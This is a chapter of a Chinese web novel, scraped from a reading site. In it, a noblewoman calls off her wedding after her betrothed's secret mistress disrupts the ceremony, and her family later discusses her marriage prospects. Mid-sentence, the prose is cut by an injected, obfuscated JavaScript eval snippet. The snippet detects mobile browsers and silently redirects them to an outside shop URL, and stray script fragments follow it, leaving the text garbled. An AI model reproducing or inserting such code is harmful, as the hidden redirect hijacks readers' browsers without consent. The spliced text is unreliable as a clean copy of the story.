文趣网 > 其他小说 > 莺娘闺事 > 2. 毁婚
    “求你回去继续同蒋郎拜堂,如若你怪我惹你不高兴,那我……那我、我就一头撞死在这儿!”

    程时莺闻言微微皱眉。

    “我已成全你们二人,你为何还要扯上我?我要嫁,你来大闹一场,我不嫁了,你又要以死相逼。你能否告诉我,你到底要什么?”

    秦祯儿回头看一眼蒋鸿书,神情一怔。她来大闹,是为了求一个名分。她害怕蒋鸿书成婚后,喜新厌旧将她忘了。刚才她已经看明白,肃国公府还由不得蒋鸿书做主,她毁了婚事,要是不挽救一下,只怕会被蒋世亮和程雅弄死。

    为了活路,她不得不屈辱的对着程时莺这个情敌重重磕头。

    一下,两下,三下。三个响头下去,她的额头浮现一道红色的血印。

    “是祯儿痴心妄想了,是祯儿不够安分。往后我再也不会出现在你面前,回去后我立马收拾东西和孩儿回东州,离得远远的。蒋郎是真心疼爱你,我只求你们百年好合,白头偕老。”

    话音刚落,在场的宾客都被她的一再忍让、贤惠大度的模样蒙骗,竟纷纷可怜起她来。

    有人道,“这女子如此深情又贤惠,虽是外室,却明事理,实在不可多得。今日想必也是一时心急,才闹了笑话。”

    “是呀。哭得这般可怜,要是我,今日两个一并娶了。反正只是多收一个妾室,又爬不到正室头上。这忠勇侯府的程小姐,未免也太善妒,偏要独占。”

    “我早听说这侯府千金自小娇养,性子极为刁蛮,怪不得蒋鸿书要在外头养女人。一个柔弱温柔,一个刁蛮任性,任是谁都会选头一个。男人嘛,哪一个不是三妻四妾,养在外头不带回府,已是给足了正室娘子面子。”

    ……

    程时莺听着这些议论的话语,生生气笑了。

    从开始到现在,她一直是被蒙骗的那一个。要是知道蒋鸿书有了外室,她怎么会答应嫁过来?

    秦祯儿和蒋鸿书在她大婚的好日子,演了一出深情的戏码,将她高高架起,要是她悔婚离去,就落了个善妒的名头。

    可要是不悔婚,就要捏着鼻子忍下这份欺骗。过了今天,还不知道秦祯儿憋了什么手段等着对付她呢。

    程时莺强压下心头的怒火,一字一句道,“既是外室,就该躲得好好的,平白无故出来闹一通算什么事?不但闹了,还闹出个孩子,可见你也不是个心思单纯的。你们肃国公府欺瞒于我,还纵容外室大闹婚礼,这口气我们忠勇侯府绝不咽下!”

    “阿莺!”

    蒋鸿书匆匆过来,眉头紧皱,眼里有悔有怨。他伸手想拉程时莺的手,却被躲开了。

    他脸色一僵,“阿莺,我真的知错了。我们自小一块儿长大,青梅竹马的又是亲上加亲,你嫁过来,绝不会委屈你半分。祯儿她不懂事,不知你我之间还牵扯着国公府和侯府两家,她也是过于痴情,才犯了错。今日让你受委屈了,我发誓,今后若是再有此事发生,我蒋鸿书定遭天打雷劈!”

    程时莺还未有所表示,程雅却是惊呼出声,“鸿书,慎言!大好的日子,去发什么毒誓?阿弥陀佛,小孩胡言乱语,各路神仙切莫放在心上。”

    她替蒋鸿书避了毒誓,看向程时莺的目光里多了几分不耐烦。她脸上伪装的温柔散去,面目都变得可憎起来。

    这个会给程时莺带牡丹酥的姑姑,为了自家儿子,彻底撕破了脸,她道,“左不过一个外室,养就养了。国公府子嗣单薄,你嫁进来后,我还要敲打你给鸿书纳妾,好开枝散叶呢。阿莺,不是小孩儿了,该明事理的时候就要明事理。这女子我让人处理干净,你回来好好拜堂罢!”

    “……”程时莺算是看透了。蒋鸿书摇摆不定,懦弱无能,加上程雅溺爱无度,她若是今日忍下,往后多的是苦头吃。

    “你们国公府欺瞒在先,我们侯府悔婚在后,有什么错?嬷嬷,还不差人抬了嫁妆回去?”

    “谁敢?”程雅见势不对,朝身边的婆子丫鬟使了个眼色,“少夫人不懂事,你们还不把人带回来拜堂?”

    说罢,几个丫鬟婆子就朝程时莺围了过来。程时莺出嫁时身边只带了四个忠心又亲近的奴仆,眼下和蒋家丫鬟婆子扭打在一块,没一会儿就寡不敌众了。

    其中一个长得粗壮的婆子扒开众人,她伸手抓着程时莺两个胳膊,不由分说押着人赶去拜堂。

    她力气极大,程时莺挣脱不开,恨恨的往她脸上唾了一口,想要趁机逃脱。

    婆子没想到一个侯府千金,竟会做这样粗鄙的事情,微微一走神,就让程时莺挣脱了禁锢。

    程时莺急急往国公府外跑。

    “没用的东西,还不将人抓回来!”程雅命令道。

    喜庆的大婚变成了追逃犯人的戏台,众宾客今日算是大饱眼福。他们无不伸颈抬首,想要看多些笑料,一时之间竟无一人出手相助。

    程时莺穿着繁复的嫁衣,没跑一会就没了力气。眼看就要被婆子押回去拜堂,程父程母匆匆赶到,将人救了下来。

    “爹!娘!”程时莺委屈的扑到父母怀中,忍不住泪流满面。

    程母拍着她的后背安抚,“不怕,不怕,爹娘来了。放心阿莺,爹娘一定给你讨回公道。”

    程父怒不可遏的看向自己妹妹程雅。阿莺出嫁之时,程雅一而再再而三的保证,不会让阿莺受委屈,现在却趁他不在,欺负他家阿莺。

    “程雅,你是如何同我保证的?你说过不会让我家阿莺吃苦受委屈,会让鸿书护着她爱着她,现在是在做什么?还敢让这些婆子绑了她去拜堂,你眼里还有没有我这个哥哥?你们国公府有没有把我们侯府放在眼里?”

    程雅脸色一白,“……这、这都是意外。我并非要欺辱阿莺,只是……”

    “还有什么好说的!下人已告诉我,蒋鸿书在外头养了外室,还生了个孩子。我们阿莺福薄,做不成你们国公府的儿媳。这桩婚事就此作罢,我们两府之后也不必再往来了!”

    程雅腿一软,差点跌坐地上。好在身旁的丫鬟眼疾手快,扶了一把,才让她没有那么难堪。

    “阿莺,你……你当真不要我了?”蒋鸿书面色惨白,直勾勾的盯着程时莺,眼里满是悔恨。

    程时莺没理会他,只把他的话当作耳旁风。她靠在母亲肩头,垂眸道,“娘,我们回去吧。”

    程时莺依偎在母亲怀中,堪堪走出几步,突然听到后头传来尖叫声。

    “不好了,那女子一头撞到柱子上了!”

    随后是一阵杂乱的脚步声,蒋鸿书凄惨的哭声传来,“祯儿,你怎么这么傻!”

    想必是坏了婚事,两头不讨好,秦祯儿为了搏一搏蒋鸿书的愧疚,这才出此下策。程时莺多多少少能猜测到秦祯儿心中所想,但这都跟她没关系了。

    ……

    几日后。

    忠勇侯府。

    院中牡丹开得正艳,香味正盛。程时莺坐在秋千上,被身后丫鬟推的高高扬起。她一身红衣,明媚的像是一团火。

    “荣儿,再推高些!”

    丫鬟荣儿笑道,“小姐,还不够高呀?再高些,就要飞到天上去了。”

    另有丫鬟捧了糕点茶水,在一旁笑着劝,“小姐,先下来歇歇罢。”

    程时莺玩了许久,确实有些累了。她下来秋千,随手拿了一块糕点塞进嘴里,“这牡丹酥做的越发好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747187|209331||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。”

    她爱吃牡丹酥,程母特地寻来一位做牡丹酥的厨娘,花高价养在府中,专为她做牡丹酥。

    荣儿极有眼力见的上前给她捏捏肩膀,“小姐,奴婢听门房的板儿说,表少爷这几日日日守在门外,就想见小姐一面呢。”

    上回离开国公府后,程时莺和蒋鸿书的婚事黄了。大婚时的那一出闹剧,传遍了皇城,国公府名声臭了,程时莺的名声也受了牵连。

    这事传到宫里头,第二日蒋世亮就被皇上当众骂了一通。

    蒋鸿书不甘心,每日都跑到忠勇侯府,求着要见程时莺。程时莺吩咐了下人,不许放他进来。

    “他爱守便守着罢。传下去,谁敢可怜他,放他进来,本小姐重重责罚。”听见蒋鸿书受瘪,程时莺唇角忍不住弯了弯。

    “是是是。小姐,咱们继续玩吧?”

    程时莺瞥一眼秋千,“秋千玩累了。荣儿,去取团扇来,咱们去扑蝴蝶!”

    等荣儿取了团扇来,程时莺便领着几个丫鬟到牡丹丛里扑蝴蝶去了。没一会儿,程时莺就跑的满身是汗。

    嬉笑间,一个丫鬟不小心撞倒了一盆名贵的姚黄牡丹。

    “奴婢该死!奴婢该死!”丫鬟连连磕头。

    这姚黄牡丹是侯爷最爱的牡丹品种,为了养在府中,侯爷可是花了重金。要是被侯爷知道了,她肯定少不了一顿毒打,说不定还会因笨手笨脚被发卖了。

    程时莺正要开口,程父来了。程父正巧在园中,远远听见声响便往这边赶了过来。

    程父程之行年轻时立下赫赫战功,被皇上亲封忠勇侯。他一辈子仅有程时莺一个女儿,十分疼爱。

    他瞧见摔碎的是他重金买来的姚黄牡丹,心疼的眉头几乎皱成了川字。

    “这这这……”他气的话都说不顺了。

    碰倒姚黄牡丹的丫鬟头低低垂着,浑身发颤。

    程时莺笑盈盈的过去,自然的挽住他的胳膊,撒娇道,“爹,女儿不小心的嘛。你别生气了。厨房新做的牡丹酥极好吃,爹要不要尝尝?”

    “你……”

    程之行话还没说出口,就被程时莺喂过来的牡丹酥堵住了嘴。牡丹酥塞了满嘴,他费了老大劲才吃下去,他看向程时莺,对这个女儿是半点办法没有。

    “罢了罢了,不和你计较了。阿莺,同我到你祖母院里去。也是时候商量商量你的婚事了。”

    程时莺到了出阁的年纪,却碰上蒋家那档子事,被连累坏了名声。虽推掉了和国公府的婚事,还放出招婿的消息,但无人登门求娶。程之行拉下脸打探了几位同僚,每一个人都避之不及。

    程之行不明白,他家阿莺这么好的姑娘,求娶的人家应该踏破门槛才是。

    这一切都要怪蒋家那个不成器的畜生,生生毁了阿莺。

    早知当初,就不该看在亲上加亲的份上,将阿莺许给他。

    程之行悔不当初。恨不能叫人将蒋鸿书绑了过来,狠狠打一顿出气。

    “商量婚事?”一说到婚事,程时莺就想起那天的委屈,十分抗拒道,“为什么非要嫁人,我就留在家中,长伴爹娘左右不好么?”

    “姑娘大了留不得,就算爹娘想留也不能留你。往后爹娘老了,总得有人陪着你护着你。”

    程之行继续道,“我朝律法,女子不得掌家,亦不能继承家产。等我和你娘去了,家中一切都要充公,现在不为你考虑,往后怎么办?”

    “若是天底下男人都同蒋鸿书一个样,我又何必嫁人?等爹娘去了,我便一头撞死跟着去!”

    “胡说什么!”程之行斥道,“都是太纵着你了,才叫你这般无法无天。”